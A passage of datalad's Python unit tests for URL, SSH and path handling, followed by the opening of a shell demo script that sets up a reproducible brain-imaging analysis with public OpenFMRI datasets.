sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nimport logging\\nimport os\\nimport tempfile\\nfrom os.path import isabs\\nfrom os.path import join as opj\\n\\nimport pytest\\n\\nimport datalad.support.network\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.support.network import (\\n RI,\\n SSHRI,\\n URL,\\n DataLadRI,\\n GitTransportRI,\\n PathRI,\\n _split_colon,\\n dlurljoin,\\n get_local_file_url,\\n get_response_disposition_filename,\\n get_tld,\\n get_url_straight_filename,\\n is_datalad_compat_ri,\\n is_ssh,\\n is_url,\\n iso8601_to_epoch,\\n local_path_representation,\\n local_path2url_path,\\n local_url_path_representation,\\n parse_url_opts,\\n quote_path,\\n same_website,\\n urlquote,\\n url_path2local_path,\\n)\\nfrom datalad.tests.utils_pytest import (\\n OBSCURE_FILENAME,\\n SkipTest,\\n assert_in,\\n assert_raises,\\n assert_status,\\n eq_,\\n get_most_obscure_supported_name,\\n known_failure_githubci_win,\\n neq_,\\n nok_,\\n ok_,\\n skip_if,\\n swallow_logs,\\n with_tempfile,\\n)\\nfrom datalad.utils import (\\n Path,\\n PurePosixPath,\\n on_windows,\\n)\\n\\n\\ndef test_same_website():\\n ok_(same_website(\\\"http://a.b\\\", \\\"http://a.b/2014/01/xxx/\\\"))\\n ok_(same_website(\\\"http://a.b/page/2/\\\", \\\"http://a.b/2014/01/xxx/\\\"))\\n ok_(same_website(\\\"https://a.b/page/2/\\\", \\\"http://a.b/2014/01/xxx/\\\"))\\n ok_(same_website(\\\"http://a.b/page/2/\\\", \\\"https://a.b/2014/01/xxx/\\\"))\\n\\n\\ndef test_get_tld():\\n eq_(get_tld('http://example.com'), 'example.com')\\n eq_(get_tld('http://example.com/1'), 'example.com')\\n eq_(get_tld('http://example.com/1/2'), 'example.com')\\n eq_(get_tld('example.com/1/2'), 'example.com')\\n eq_(get_tld('s3://example.com/1/2'), 'example.com')\\n assert_raises(ValueError, get_tld, \\\"\\\")\\n assert_raises(ValueError, get_tld, \\\"s3://\\\")\\n assert_raises(ValueError, get_tld, \\\"http://\\\")\\n\\ndef test_dlurljoin():\\n eq_(dlurljoin('http://a.b/', 'f'), 'http://a.b/f')\\n eq_(dlurljoin('http://a.b/page', 'f'), 'http://a.b/f')\\n eq_(dlurljoin('http://a.b/dir/', 'f'), 'http://a.b/dir/f')\\n eq_(dlurljoin('http://a.b/dir/', 'http://url'), 'http://url')\\n eq_(dlurljoin('http://a.b/dir/', '/'), 'http://a.b/')\\n eq_(dlurljoin('http://a.b/dir/', '/x/y'), 'http://a.b/x/y')\\n\\n@pytest.mark.parametrize(\\\"suf\\\", [\\n '',\\n '#',\\n '#tag',\\n '#tag/obscure',\\n '?param=1',\\n '?param=1&another=/',\\n])\\ndef test_get_url_straight_filename(suf):\\n eq_(get_url_straight_filename('http://a.b/' + suf), '')\\n eq_(get_url_straight_filename('http://a.b/p1' + suf), 'p1')\\n eq_(get_url_straight_filename('http://a.b/p1/' + suf), '')\\n eq_(get_url_straight_filename('http://a.b/p1/' + suf, allowdir=True), 'p1')\\n eq_(get_url_straight_filename('http://a.b/p1/p2' + suf), 'p2')\\n eq_(get_url_straight_filename('http://a.b/p1/p2/' + suf), '')\\n eq_(get_url_straight_filename('http://a.b/p1/p2/' + suf, allowdir=True), 'p2')\\n eq_(get_url_straight_filename('http://a.b/p1/p2/' + suf, allowdir=True, strip=('p2', 'xxx')), 'p1')\\n eq_(get_url_straight_filename('http://a.b/p1/p2/' + suf, strip=('p2', 'xxx')), '')\\n\\nfrom ..network import rfc2822_to_epoch\\n\\n\\ndef test_rfc2822_to_epoch():\\n eq_(rfc2822_to_epoch(\\\"Thu, 16 Oct 2014 01:16:17 EDT\\\"), 1413436577)\\n\\n\\ndef test_get_response_disposition_filename():\\n eq_(get_response_disposition_filename('attachment;filename=\\\"Part1-Subjects1-99.tar\\\"'), \\\"Part1-Subjects1-99.tar\\\")\\n eq_(get_response_disposition_filename('attachment'), None)\\n\\n\\ndef test_parse_url_opts():\\n url = 'http://map.org/api/download/?id=157'\\n output = parse_url_opts(url)\\n eq_(output, ('http://map.org/api/download/', {'id': '157'}))\\n\\n url = 's3://bucket/save/?key=891'\\n output = parse_url_opts(url)\\n eq_(output, ('s3://bucket/save/', {'key': '891'}))\\n\\n url = 'http://map.org/api/download/?id=98&code=13'\\n output = parse_url_opts(url)\\n eq_(output, ('http://map.org/api/download/', {'id': '98', 'code': '13'}))\\n\\n\\ndef test_split_colon():\\n eq_(_split_colon('a:b'), ['a', 'b'])\\n eq_(_split_colon('a:b:c'), ['a', 'b:c'])\\n eq_(_split_colon('a:b:c', 2), ['a', 'b', 'c'])\\n eq_(_split_colon('ab'), ['ab'])\\n eq_(_split_colon(r'a\\\\:b'), [r'a\\\\:b'])\\n\\n\\ndef test_url_eq():\\n assert URL() == URL()\\n # doesn't make sense to ask what kind of a url it is an empty URL\\n assert URL() != URL(hostname='x')\\n # Different types aren't equal even if have the same fields values\\n assert URL(path='x') != PathRI(path='x')\\n assert URL(hostname='x') != SSHRI(hostname='x')\\n assert str(URL(hostname='x')) != str(SSHRI(hostname='x'))\\n\\n\\ndef _check_ri(ri, cls, exact_str=True, localpath=None, **fields):\\n \\\"\\\"\\\"just a helper to carry out few checks on urls\\\"\\\"\\\"\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n ri_ = cls(**fields)\\n murl = RI(ri)\\n assert murl.__class__ == cls # not just a subclass\\n assert murl == ri_\\n if isinstance(ri, str):\\n assert str(RI(ri)) == ri\\n assert eval(repr(ri_)) == ri # repr leads back to identical ri_\\n assert ri == ri_ # just in case ;) above should fail first if smth is wrong\\n if not exact_str:\\n assert_in('Parsed version of', cml.out)\\n if exact_str:\\n assert str(ri) == str(ri_)\\n else:\\n assert str(ri) != str(ri_)\\n\\n # and that we have access to all those fields\\n nok_(set(fields).difference(set(cls._FIELDS)))\\n for f, v in fields.items():\\n assert getattr(ri_, f) == v\\n\\n if localpath:\\n if cls == URL:\\n local_representation = local_url_path_representation(localpath)\\n else:\\n local_representation = local_path_representation(localpath)\\n assert ri_.localpath == local_representation\\n old_localpath = ri_.localpath # for a test below\\n else:\\n # if not given -- must be a remote url, should raise exception on\\n # non-Windows systems. But not on Windows systems because we allow UNCs\\n # to be encoded in URLs\\n if not on_windows:\\n with assert_raises(ValueError):\\n ri_.localpath\\n\\n # This one does not have a path. TODO: either proxy path from its .RI or adjust\\n # hierarchy of classes to make it more explicit\\n if cls == GitTransportRI:\\n return\\n # do changes in the path persist?\\n old_str = str(ri_)\\n ri_.path = newpath = opj(ri_.path, 'sub')\\n assert ri_.path == newpath\\n assert str(ri_) != old_str\\n if localpath:\\n assert ri_.localpath == local_path_representation(opj(old_localpath, 'sub'))\\n\\n\\ndef test_url_base():\\n # Basic checks\\n assert_raises(ValueError, URL, \\\"http://example.com\\\", hostname='example.com')\\n url = URL(\\\"http://example.com\\\")\\n eq_(url.hostname, 'example.com')\\n eq_(url.scheme, 'http')\\n eq_(url.port, '') # not specified -- empty strings\\n eq_(url.username, '') # not specified -- empty strings\\n eq_(repr(url), \\\"URL(hostname='example.com', netloc='example.com', scheme='http')\\\")\\n eq_(url, \\\"http://example.com\\\") # automagic coercion in __eq__\\n\\n neq_(URL(), URL(hostname='x'))\\n\\n smth = URL('smth')\\n eq_(smth.hostname, '')\\n ok_(bool(smth))\\n nok_(bool(URL()))\\n\\n assert_raises(ValueError, url._set_from_fields, unknown='1')\\n\\n with swallow_logs(new_level=logging.WARNING) as cml:\\n # we don't \\\"care\\\" about params ATM so there is a warning if there are any\\n purl = URL(\\\"http://example.com/;param\\\")\\n eq_(str(purl), 'http://example.com/;param') # but we do maintain original string\\n assert_in('ParseResults contains params', cml.out)\\n eq_(purl.as_str(), 'http://example.com/')\\n\\n\\n@with_tempfile\\ndef test_pathri_guessing(filename=None):\\n # Complaining about ;param only at DEBUG level\\n # see https://github.com/datalad/datalad/issues/6872\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n # we don't \\\"care\\\" about params ATM so there is a warning if there are any\\n ri = RI(f\\\"{filename};param\\\")\\n assert isinstance(ri, PathRI)\\n if not on_windows:\\n # Does not happen on Windows since paths with \\\\ instead of / do not\\n # look like possible URLs\\n assert_in('ParseResults contains params', cml.out)\\n\\n\\n@skip_if(not on_windows)\\ndef test_pathri_windows_anchor():\\n assert RI('file:///c:/Windows').localpath == 'C:\\\\\\\\Windows'\\n\\n\\n@known_failure_githubci_win\\ndef test_url_samples():\\n _check_ri(\\\"http://example.com\\\", URL, scheme='http', hostname=\\\"example.com\\\", netloc='example.com')\\n # \\\"complete\\\" one for classical http\\n _check_ri(\\\"http://user:pw@example.com:8080/p/sp?p1=v1&p2=v2#frag\\\", URL,\\n scheme='http', netloc='user:pw@example.com:8080',\\n hostname=\\\"example.com\\\", port=8080, username='user', password='pw',\\n path='/p/sp', query='p1=v1&p2=v2', fragment='frag')\\n\\n # sample one for ssh with specifying the scheme\\n # XXX? might be useful? https://github.com/FriendCode/giturlparse.py\\n _check_ri(\\\"ssh://host/path/sp1\\\", URL, scheme='ssh', hostname='host',\\n netloc='host', path='/path/sp1')\\n _check_ri(\\\"user@host:path/sp1\\\", SSHRI,\\n hostname='host', path='path/sp1', username='user')\\n _check_ri(\\\"host:path/sp1\\\", SSHRI, hostname='host', path='path/sp1')\\n _check_ri(\\\"host:path\\\", SSHRI, hostname='host', path='path')\\n _check_ri(\\\"host:/path\\\", SSHRI, hostname='host', path='/path')\\n _check_ri(\\\"user@host\\\", SSHRI, hostname='host', username='user')\\n # TODO!!! should this be a legit URL like this?\\n # _check_ri(\\\"host\\\", SSHRI, hostname='host'))\\n eq_(repr(RI(\\\"host:path\\\")), \\\"SSHRI(hostname='host', path='path')\\\")\\n\\n # And now perspective 'datalad', implicit=True urls pointing to the canonical center location\\n _check_ri(\\\"///\\\", DataLadRI)\\n _check_ri(\\\"///p/s1\\\", DataLadRI, path='p/s1')\\n # could be considered by someone as \\\"URI reference\\\" relative to scheme\\n _check_ri(\\\"//a/\\\", DataLadRI, remote='a')\\n _check_ri(\\\"//a/data\\\", DataLadRI, path='data', remote='a')\\n\\n # here we will do custom magic allowing only schemes with + in them, such as dl+archive\\n # or not so custom as\\n _check_ri(\\\"hg+https://host/user/proj\\\", URL, scheme=\\\"hg+https\\\",\\n netloc='host', hostname='host', path='/user/proj')\\n # \\\"old\\\" style\\n _check_ri(\\\"dl+archive:KEY/path/sp1#size=123\\\", URL,\\n scheme='dl+archive', path='KEY/path/sp1', fragment='size=123')\\n # \\\"new\\\" style\\n _check_ri(\\\"dl+archive:KEY#path=path/sp1&size=123\\\", URL,\\n scheme='dl+archive', path='KEY', fragment='path=path/sp1&size=123')\\n # actually above one is probably wrong since we need to encode the path\\n _check_ri(\\\"dl+archive:KEY#path=path%2Fbsp1&size=123\\\", URL,\\n scheme='dl+archive', path='KEY', fragment='path=path%2Fbsp1&size=123')\\n\\n #https://en.wikipedia.org/wiki/File_URI_scheme\\n _check_ri(\\\"file://host\\\", URL, scheme='file', netloc='host', hostname='host')\\n _check_ri(\\\"file://host/path/sp1\\\", URL, scheme='file', netloc='host',\\n hostname='host', path='/path/sp1')\\n # stock libraries of Python aren't quite ready for ipv6\\n ipv6address = '2001:db8:85a3::8a2e:370:7334'\\n _check_ri(\\\"file://%s/path/sp1\\\" % ipv6address, URL,\\n scheme='file', netloc=ipv6address, hostname=ipv6address,\\n path='/path/sp1')\\n for lh in ('localhost', '::1', '', '127.3.4.155'):\\n if on_windows:\\n url = RI(f\\\"file://{lh}/path/sp1\\\")\\n assert url.localpath == f'\\\\\\\\\\\\\\\\{lh}\\\\\\\\path\\\\\\\\sp1' if lh else '\\\\\\\\path\\\\\\\\sp1'\\n else:\\n _check_ri(\\\"file://%s/path/sp1\\\" % lh, URL, localpath='/path/sp1',\\n scheme='file', netloc=lh, hostname=lh, path='/path/sp1')\\n\\n _check_ri('http://[1fff:0:a88:85a3::ac1f]:8001/index.html', URL,\\n scheme='http', netloc='[1fff:0:a88:85a3::ac1f]:8001',\\n hostname='1fff:0:a88:85a3::ac1f', port=8001, path='/index.html')\\n _check_ri(\\\"file:///path/sp1\\\", URL, localpath='/path/sp1', scheme='file', path='/path/sp1')\\n # we don't do any magical comprehension for home paths/drives for windows\\n # of file:// urls, thus leaving /~ and /c: for now:\\n _check_ri(\\\"file:///~/path/sp1\\\", URL, localpath='/~/path/sp1', scheme='file', path='/~/path/sp1')\\n _check_ri(\\\"file:///%7E/path/sp1\\\", URL, localpath='/~/path/sp1', scheme='file', path='/~/path/sp1', exact_str=False)\\n # not sure but let's check\\n if on_windows:\\n _check_ri(\\\"file:///C:/path/sp1\\\", URL, localpath='C:/path/sp1', scheme='file', path='/C:/path/sp1', exact_str=False)\\n _check_ri(\\\"file:/C:/path/sp1\\\", URL, localpath='C:/path/sp1', scheme='file', path='/C:/path/sp1', exact_str=False)\\n # git-annex style drive-letter encoding\\n _check_ri(\\\"file://C:/path/sp1\\\", URL, netloc=\\\"C:\\\", hostname=\\\"c\\\", localpath='C:/path/sp1', scheme='file', path='/path/sp1', exact_str=False)\\n else:\\n _check_ri(\\\"file:///C:/path/sp1\\\", URL, localpath='/C:/path/sp1', scheme='file', path='/C:/path/sp1', exact_str=False)\\n _check_ri(\\\"file:/C:/path/sp1\\\", URL, localpath='/C:/path/sp1', scheme='file', path='/C:/path/sp1', exact_str=False)\\n\\n # and now implicit paths or actually they are also \\\"URI references\\\"\\n _check_ri(\\\"f\\\", PathRI, localpath='f', path='f')\\n _check_ri(\\\"f/s1\\\", PathRI, localpath='f/s1', path='f/s1')\\n _check_ri(PurePosixPath(\\\"f\\\"), PathRI, localpath='f', path='f')\\n _check_ri(PurePosixPath(\\\"f/s1\\\"), PathRI, localpath='f/s1', path='f/s1')\\n # colons are problematic and might cause confusion into SSHRI\\n _check_ri(\\\"f/s:1\\\", PathRI, localpath='f/s:1', path='f/s:1')\\n _check_ri(\\\"f/s:\\\", PathRI, localpath='f/s:', path='f/s:')\\n _check_ri(\\\"/f\\\", PathRI, localpath='/f', path='/f')\\n _check_ri(\\\"/f/s1\\\", PathRI, localpath='/f/s1', path='/f/s1')\\n\\n # some github ones, just to make sure\\n _check_ri(\\\"git://host/user/proj\\\", URL, scheme=\\\"git\\\", netloc=\\\"host\\\",\\n hostname=\\\"host\\\", path=\\\"/user/proj\\\")\\n _check_ri(\\\"git@host:user/proj\\\", SSHRI, hostname=\\\"host\\\", path=\\\"user/proj\\\", username='git')\\n\\n _check_ri('weird:/', SSHRI, hostname='weird', path='/')\\n # since schema is not allowing some symbols so we need to add additional check\\n _check_ri('weird_url:/', SSHRI, hostname='weird_url', path='/')\\n _check_ri('example.com:/', SSHRI, hostname='example.com', path='/')\\n _check_ri('example.com:path/sp1', SSHRI, hostname='example.com', path='path/sp1')\\n _check_ri('example.com/path/sp1\\\\\\\\:fname', PathRI, localpath='example.com/path/sp1\\\\\\\\:fname',\\n path='example.com/path/sp1\\\\\\\\:fname')\\n # ssh is as stupid as us, so we will stay \\\"Consistently\\\" dumb\\n \\\"\\\"\\\"\\n $> ssh example.com/path/sp1:fname\\n ssh: Could not resolve hostname example.com/path/sp1:fname: Name or service not known\\n\\n edit 20190516 yoh: but this looks like a perfectly valid path.\\n SSH knows that it is not a path but its SSHRI so it can stay dumb.\\n We are trying to be smart and choose between RIs (even when we know that\\n it is e.g. a file).\\n \\\"\\\"\\\"\\n _check_ri('e.com/p/sp:f', PathRI, localpath='e.com/p/sp:f', path='e.com/p/sp:f')\\n _check_ri('user@someho.st/mydir', PathRI, localpath='user@someho.st/mydir', path='user@someho.st/mydir')\\n\\n # SSHRIs have .port, but it is empty\\n eq_(SSHRI(hostname='example.com').port, '')\\n\\n # check that we are getting a warning logged when url can't be reconstructed\\n # precisely\\n # actually failed to come up with one -- becomes late here\\n #_check_ri(\\\"http://host///..//p\\\", scheme='http', path='/..//p')\\n\\n # actually this one is good enough to trigger a warning and I still don't know\\n # what it should exactly be!?\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n weird_str = 'weird://'\\n weird_url = RI(weird_str)\\n repr(weird_url)\\n cml.assert_logged(\\n 'Parsed version of SSHRI .weird:/. '\\n 'differs from original .weird://.'\\n )\\n # but we store original str\\n eq_(str(weird_url), weird_str)\\n neq_(weird_url.as_str(), weird_str)\\n\\n raise SkipTest(\\\"TODO: file://::1/some does complain about parsed version dropping ::1\\\")\\n\\n\\ndef test_git_transport_ri():\\n _check_ri(\\\"gcrypt::http://somewhere\\\", GitTransportRI, RI='http://somewhere', transport='gcrypt')\\n # man git-push says\\n # <transport>::<address>\\n # where <address> may be a path, a server and path, or an arbitrary URL-like string...\\n # so full path to my.com/... should be ok?\\n _check_ri(\\\"http::/my.com/some/path\\\", GitTransportRI, RI='/my.com/some/path', transport='http')\\n # some ssh server. And we allow for some additional chars in transport.\\n # Git doesn't define since it does not care! we will then be flexible too\\n _check_ri(\\\"trans-port::server:path\\\", GitTransportRI, RI='server:path', transport='trans-port')\\n\\n\\n@pytest.mark.parametrize(\\\"cls,clskwargs,target_url\\\", [\\n (SSHRI, {}, r'example.com:/ \\\"' + r\\\"';a&b&cd `| \\\"),\\n (URL, {'scheme': \\\"http\\\"}, 'http://example.com/%20%22%27%3Ba%26b%26cd%20%60%7C%20'),\\n (PathRI, {}, r'/ \\\"' + r\\\"';a&b&cd `| \\\"), # nothing is done to file:implicit\\n])\\ndef test_url_quote_path(cls, clskwargs, target_url):\\n path = '/ \\\"\\\\';a&b&cd `| '\\n if not (cls is PathRI):\\n clskwargs['hostname'] = hostname = 'example.com'\\n url = cls(path=path, **clskwargs)\\n eq_(url.path, path)\\n if 'hostname' in clskwargs:\\n eq_(url.hostname, hostname)\\n # all nasty symbols should be quoted\\n url_str = str(url)\\n eq_(url_str, target_url)\\n # no side-effects:\\n eq_(url.path, path)\\n if 'hostname' in clskwargs:\\n eq_(url.hostname, hostname)\\n\\n # and figured out and unquoted\\n url_ = RI(url_str)\\n ok_(isinstance(url_, cls))\\n eq_(url_.path, path)\\n if 'hostname' in clskwargs:\\n eq_(url.hostname, hostname)\\n\\n\\ndef test_url_compose_archive_one():\\n url = URL(scheme='dl+archive', path='KEY',\\n fragment=dict((('path', 'f/p/ s+'), ('size', 30))))\\n # funny - space is encoded as + but + is %2B\\n eq_(str(url), 'dl+archive:KEY#path=f/p/+s%2B&size=30')\\n eq_(url.fragment_dict, {'path': 'f/p/ s+', 'size': '30'})\\n\\n\\ndef test_url_fragments_and_query():\\n url = URL(hostname=\\\"host\\\", query=dict((('a', 'x/b'), ('b', 'y'))))\\n eq_(str(url), '//host?a=x%2Fb&b=y')\\n eq_(url.query, 'a=x%2Fb&b=y')\\n eq_(url.query_dict, {'a': 'x/b', 'b': 'y'})\\n\\n url = URL(hostname=\\\"host\\\", fragment=dict((('b', 'x/b'), ('a', 'y'))))\\n eq_(str(url), '//host#b=x/b&a=y')\\n eq_(url.fragment, 'b=x/b&a=y')\\n eq_(url.fragment_dict, {'a': 'y', 'b': 'x/b'})\\n\\n fname = get_most_obscure_supported_name()\\n url = URL(hostname=\\\"host\\\", fragment={'a': fname})\\n eq_(url.fragment_dict, {'a': fname})\\n\\n\\ndef test_url_dicts():\\n eq_(URL(\\\"http://host\\\").query_dict, {})\\n\\n\\ndef test_get_url_path_on_fileurls():\\n assert URL('file:///a').path == '/a'\\n assert URL('file:///a/b').path == '/a/b'\\n assert URL('file:///a/b').localpath == local_path_representation('/a/b')\\n assert URL('file:///a/b#id').path == '/a/b'\\n assert URL('file:///a/b?whatever').path == '/a/b'\\n\\n\\ndef test_is_url():\\n ok_(is_url('file://localhost/some'))\\n ok_(is_url('http://localhost'))\\n ok_(is_url('ssh://me@localhost'))\\n # in current understanding it is indeed a url but an 'ssh', implicit=True, not just\\n # a useless scheme=weird with a hope to point to a netloc\\n with swallow_logs():\\n ok_(is_url('weird://'))\\n nok_(is_url('relative'))\\n nok_(is_url('/absolute'))\\n ok_(is_url('like@sshlogin')) # actually we do allow ssh:implicit urls ATM\\n nok_(is_url(''))\\n nok_(is_url(' '))\\n nok_(is_url(123)) # stuff of other types wouldn't be considered a URL\\n\\n # we can pass RI instance directly\\n ok_(is_url(RI('file://localhost/some')))\\n nok_(is_url(RI('relative')))\\n\\n\\n# TODO: RF with test_is_url to avoid duplication\\ndef test_is_datalad_compat_ri():\\n ok_(is_datalad_compat_ri('ssh://user:passw@host/path'))\\n ok_(is_datalad_compat_ri('http://example.com'))\\n ok_(is_datalad_compat_ri('file://localhost/some'))\\n ok_(is_datalad_compat_ri('///localhost/some'))\\n nok_(is_datalad_compat_ri('relative'))\\n nok_(is_datalad_compat_ri('.///localhost/some'))\\n nok_(is_datalad_compat_ri(123))\\n\\n\\ndef test_get_local_file_url():\\n compat_annex = 'git-annex'\\n compat_git = 'git'\\n for path, url, compatibility in (\\n # relpaths are special-cased below\\n ('test.txt', 'test.txt', compat_annex),\\n (OBSCURE_FILENAME, urlquote(OBSCURE_FILENAME), compat_annex),\\n ) + ((\\n ('C:\\\\\\\\Windows\\\\\\\\notepad.exe', 'file://C:/Windows/notepad.exe', compat_annex),\\n ('C:\\\\\\\\Windows\\\\\\\\notepad.exe', 'file:///C:/Windows/notepad.exe', compat_git),\\n ) if on_windows else (\\n ('/a', 'file:///a', compat_annex),\\n ('/a/b/c', 'file:///a/b/c', compat_annex),\\n ('/a~', 'file:///a~', compat_annex),\\n # there are no files with trailing slashes in the name\\n #('/a b/', 'file:///a%20b/'),\\n ('/a b/name', 'file:///a%20b/name', compat_annex),\\n )):\\n # Yarik found no better way to trigger. .decode() isn't enough\\n print(\\\"D: %s\\\" % path)\\n if isabs(path):\\n assert get_local_file_url(path, compatibility=compatibility) == url\\n abs_path = path\\n else:\\n assert get_local_file_url(path, allow_relative_path=True, compatibility=compatibility) \\\\\\n == '/'.join((get_local_file_url(os.getcwd(), compatibility=compatibility), url))\\n abs_path = opj(os.getcwd(), path)\\n if compatibility == compat_git:\\n assert get_local_file_url(abs_path, compatibility=compatibility) == Path(abs_path).as_uri()\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_get_local_file_url_compatibility(path=None):\\n # smoke test for file:// URL compatibility with other datalad/git/annex\\n # pieces\\n path = Path(path)\\n ds1 = Dataset(path / 'ds1').create()\\n ds2 = Dataset(path / 'ds2').create()\\n testfile = path / 'testfile.txt'\\n testfile.write_text('some')\\n\\n # compat with annex addurl\\n ds1.repo.add_url_to_file(\\n 'test.txt',\\n get_local_file_url(str(testfile), compatibility='git-annex'))\\n\\n # compat with git clone/submodule\\n assert_status(\\n 'ok',\\n ds1.clone(get_local_file_url(ds2.path, compatibility='git'),\\n result_xfm=None, return_type='generator'))\\n\\n\\ndef test_is_ssh():\\n\\n ssh_locators = [\\\"ssh://host\\\",\\n \\\"ssh://host/some/where\\\",\\n \\\"user@host:path/sp1\\\",\\n \\\"user@host:/absolute/path/sp1\\\",\\n \\\"host:path/sp1\\\",\\n \\\"host:/absolute/path/sp1\\\",\\n \\\"user@host\\\"]\\n for ri in ssh_locators:\\n ok_(is_ssh(ri), \\\"not considered ssh (string): %s\\\" % ri)\\n ok_(is_ssh(RI(ri)), \\\"not considered ssh (RI): %s\\\" % ri)\\n\\n non_ssh_locators = [\\\"file://path/to\\\",\\n \\\"/abs/path\\\",\\n \\\"../rel/path\\\",\\n \\\"http://example.com\\\",\\n \\\"git://host/user/proj\\\",\\n \\\"s3://bucket/save/?key=891\\\"]\\n for ri in non_ssh_locators:\\n ok_(not is_ssh(ri), \\\"considered ssh (string): %s\\\" % ri)\\n ok_(not is_ssh(RI(ri)), \\\"considered ssh (RI): %s\\\" % ri)\\n\\n\\ndef test_iso8601_to_epoch():\\n epoch = 1467901515\\n eq_(iso8601_to_epoch('2016-07-07T14:25:15+00:00'), epoch)\\n eq_(iso8601_to_epoch('2016-07-07T14:25:15+11:00'),\\n epoch - 11 * 60 * 60)\\n eq_(iso8601_to_epoch('2016-07-07T14:25:15Z'), epoch)\\n eq_(iso8601_to_epoch('2016-07-07T14:25:15'), epoch)\\n\\n eq_(iso8601_to_epoch('2016-07-07T14:25:14'), epoch-1)\\n\\n\\ndef test_mapping_identity():\\n from datalad.tests.utils_pytest import OBSCURE_FILENAME\\n\\n absolute_obscure_path = str(Path('/').absolute() / OBSCURE_FILENAME)\\n temp_dir = tempfile.gettempdir()\\n print(f\\\"temp_dir: {temp_dir}\\\")\\n for name in (temp_dir, opj(temp_dir, \\\"x.txt\\\"), absolute_obscure_path):\\n # On some platforms, e.g. MacOS, `temp_dir` might contain trailing\\n # slashes. Since the conversion and its inverse normalize paths, we\\n # compare the result to the normalized path\\n normalized_name = str(Path(name))\\n assert url_path2local_path(local_path2url_path(name)) == normalized_name\\n\\n prefix = \\\"/C:\\\" if on_windows else \\\"\\\"\\n for name in map(quote_path, (prefix + \\\"/window\\\", prefix + \\\"/d\\\", prefix + \\\"/\\\" + OBSCURE_FILENAME)):\\n assert local_path2url_path(url_path2local_path(name)) == name\\n\\n\\ndef test_auto_resolve_path():\\n relative_path = str(Path(\\\"a/b\\\"))\\n with pytest.raises(ValueError):\\n local_path2url_path(relative_path)\\n local_path2url_path(\\\"\\\", allow_relative_path=True)\\n\\n\\n@skip_if(not on_windows)\\ndef test_hostname_detection():\\n with pytest.raises(ValueError):\\n local_path2url_path(\\\"\\\\\\\\\\\\\\\\server\\\\\\\\share\\\\\\\\path\\\")\\n\\n\\ndef test_url_path2local_path_excceptions():\\n with pytest.raises(ValueError):\\n url_path2local_path('')\\n with pytest.raises(ValueError):\\n url_path2local_path(None)\\n with pytest.raises(ValueError):\\n url_path2local_path('a/b')\\n with pytest.raises(ValueError):\\n url_path2local_path(PurePosixPath('a/b'))\\n with pytest.raises(ValueError):\\n url_path2local_path(PurePosixPath('//a/b'))\\n\\n\\ndef test_quote_path(monkeypatch):\\n with monkeypatch.context() as ctx:\\n ctx.setattr(datalad.support.network, 'on_windows', True)\\n assert quote_path(\\\"/c:/win:xxx\\\") == \\\"/c:/win%3Axxx\\\"\\n assert quote_path(\\\"/C:/win:xxx\\\") == \\\"/C:/win%3Axxx\\\"\\n\\n ctx.setattr(datalad.support.network, 'on_windows', False)\\n assert quote_path(\\\"/c:/win:xxx\\\") == \\\"/c%3A/win%3Axxx\\\"\\n assert quote_path(\\\"/C:/win:xxx\\\") == \\\"/C%3A/win%3Axxx\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.7521818280220032,\n \"alphanum_fraction\": 0.7596914768218994,\n \"avg_line_length\": 56.96470642089844,\n \"blob_id\": \"9a61960f2ea7f0d0bcd40f4eb5c750c7e2361b32\",\n \"content_id\": \"44907aa45ce5a85e24dca1c4452cd92dbba318d7\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 4927,\n \"license_type\": \"permissive\",\n \"max_line_length\": 276,\n \"num_lines\": 85,\n \"path\": \"/docs/casts/reproducible_analysis.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"say \\\"Scientific studies should be reproducible, and with the increasing accessibility of data, there is not much excuse for lack of reproducibility anymore.\\\"\\nsay \\\"DataLad can help with the technical aspects of reproducible science...\\\"\\nsay \\\"It always starts with a dataset\\\"\\nrun \\\"datalad create demo\\\"\\nrun \\\"cd demo\\\"\\n\\nsay \\\"For this demo we are using two public brain imaging datasets that were published on OpenFMRI.org, and are available from DataLad's datasets.datalad.org\\\"\\nrun \\\"datalad install -d . -s ///openfmri/ds000001 inputs/ds000001\\\"\\n\\nsay \\\"BTW: '///' is just short for https://datasets.datalad.org\\\"\\n\\nrun \\\"datalad install -d . -s ///openfmri/ds000002 inputs/ds000002\\\"\\n\\nsay \\\"Both datasets are now registered as subdatasets, and their precise versions are on record\\\"\\nrun \\\"datalad --output-format '{path}: {revision_descr}' subdatasets\\\"\\n\\nsay \\\"However, very little data were actually downloaded (the full datasets are several gigabytes in size):\\\"\\nrun \\\"du -sh inputs/\\\"\\n\\nsay \\\"DataLad datasets are fairly lightweight in size, they only contain pointers to data and history information in their minimal form.\\\"\\n\\nsay \\\"Both datasets contain brain imaging data, and are compliant with the BIDS standard. This makes it really easy to locate particular images and perform analysis across datasets.\\\"\\nsay \\\"Here we will use a small script that performs 'brain extraction' using FSL as a stand-in for a full analysis pipeline\\\"\\nrun \\\"mkdir code\\\"\\nrun \\\"cat << EOT > code/brain_extraction.sh\\n# enable FSL\\n. /etc/fsl/5.0/fsl.sh\\n\\n# obtain all inputs\\ndatalad get \\\\\\\\\\\\$@\\n# perform brain extraction\\ncount=1\\nfor nifti in \\\\\\\\\\\\$@; do\\n subdir=\\\\\\\"sub-\\\\\\\\\\\\$(printf %03d \\\\\\\\\\\\$count)\\\\\\\"\\n mkdir -p \\\\\\\\\\\\$subdir\\n echo \\\\\\\"Processing \\\\\\\\\\\\$nifti\\\\\\\"\\n bet \\\\\\\\\\\\$nifti \\\\\\\\\\\\$subdir/anat -m\\n count=\\\\\\\\\\\\$((count + 1)) \\ndone\\nEOT\\\"\\n\\nsay \\\"Note that this script uses the 'datalad get' command which automatically obtains the required files from their remote source -- we will see this in action shortly\\\"\\nsay \\\"We are saving this script in the dataset. This way we will know exactly which code was used for the analysis. Also, we track this code file with Git, so we can see more easily how it was edited over time.\\\"\\nrun \\\"datalad 